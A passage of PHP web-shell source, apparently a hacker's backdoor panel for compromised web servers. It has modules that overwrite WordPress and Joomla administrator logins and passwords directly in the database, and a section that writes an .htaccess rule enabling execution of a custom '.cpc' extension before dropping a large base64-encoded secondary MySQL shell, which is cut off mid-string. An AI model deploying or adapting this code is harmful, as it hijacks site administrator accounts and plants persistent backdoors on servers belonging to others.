<input style='width:310px;' class='inputz' type='Text' name='database' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;Username</td><td>
<input style='width:310px;' class='inputz' type='Text' name='username' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;Password</td><td>
<input style='width:310px;' class='inputz' type='Text' name='password' value='**' /></td></tr>
<tr><td>&nbsp;&nbsp;New User</td><td>
<input style='width:310px;' class='inputz' type='Text' name='admin' value='admin' /></td></tr>
 <tr><td>&nbsp;&nbsp;New Pass</td><td>
<input style='width:130px;' class='inputz' type='Text' name='pwd' value='123456' />&nbsp;
<input style='width:23%;' class='inputzbut' type='submit' value='Go' name='send' /></FORM>
</td></tr> </table><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$pwd   = $_POST['pwd'];
$admin = $_POST['admin'];


 @MySQL_connect($localhost,$username,$password) or die(MySQL_error());
 @MySQL_select_db($database) or die(MySQL_error());

$hash = crypt($pwd);
$a4s=@MySQL_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(MySQL_error());
$a4s=@MySQL_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(MySQL_error());
$a4s=@MySQL_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(MySQL_error());
$a4s=@MySQL_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(MySQL_error());
$a4s=@MySQL_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(MySQL_error());
$a4s=@MySQL_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(MySQL_error());
$a4s=@MySQL_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(MySQL_error());


if($a4s){
echo "<b> Success! Now You Can Login To WordPress Admin</b> ";
echo "<b> New Password: 123456 </b>";
}

}
  
  
  echo "
   </div>";
   exit;	
}


elseif(isset($_GET['x']) && ($_GET['x'] == 'jmreset'))
{

echo "<center/><b><br><br><font color=#00eaff>  Joomla Password Reset </font></b><br>";
	if(empty($_POST['pwd'])){
echo "<FORM method='POST'><table class='tabnet' style='width:390px;'><tr><td>&nbsp;&nbsp;Hostname</td><td>
<input style='width:310px;' class='inputz' type='Text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
<input style='width:310px;' class='inputz' type='Text' name='Database' value='Database' /></td></tr> <tr><td>&nbsp;&nbsp;Username</td><td>
<input style='width:310px;' class='inputz' type='Text' name='Username' value='db_user' /></td></tr> <tr><td>&nbsp;&nbsp;Password</td><td>
<input style='width:310px;' class='inputz' type='password' name='Password' value='**' /></td></tr> <tr><td>&nbsp;&nbsp;New User</td><td>
<input style='width:310px;' class='inputz' name='admin' value='admin' /></td></tr>
 <tr><td>&nbsp;&nbsp;New Pass</td><td>123456 = 
<input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />&nbsp;

<input style='width:23%;' class='inputzbut' type='submit' value='Do' name='send' /></FORM>
</td></tr> </table><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$pwd   = $_POST['pwd'];
$admin = $_POST['admin'];
@MySQL_connect($localhost,$username,$password) or die(MySQL_error());
@MySQL_select_db($database) or die(MySQL_error());
$hash = crypt($pwd);
$SQL=@MySQL_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(MySQL_error());
$SQL=@MySQL_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(MySQL_error());
$SQL=@MySQL_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(MySQL_error());
$SQL=@MySQL_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(MySQL_error());
$SQL=@MySQL_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(MySQL_error());
$SQL=@MySQL_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(MySQL_error());
$SQL=@MySQL_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(MySQL_error());
$SQL=@MySQL_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(MySQL_error());
if($SQL){
echo "<b> Success! Now You Can Login To Administrator</b> ";
echo "<b> New Password: 123456 </b>";
}
}
	
  echo "
   </div>"; 
   exit;	
}

elseif(isset($_GET['x']) && ($_GET['x'] == 'sql'))
    {
    ?>
<Form action="?y=<?php echo $pwd; ?>&amp;x=sql" method="post">
<?php
echo "<center/><br/><b><font color=silver>[+] MySQL Interface [+]</font></b><br><br>";
  mkdir('MySQL', 0755);
    chdir('MySQL');
        $akses = ".htaccess";
        $buka_lah = "$akses";
        $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-php .cpc
";
        fwrite ( $buka , $metin ) ;
        fclose ($buka);
$sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlN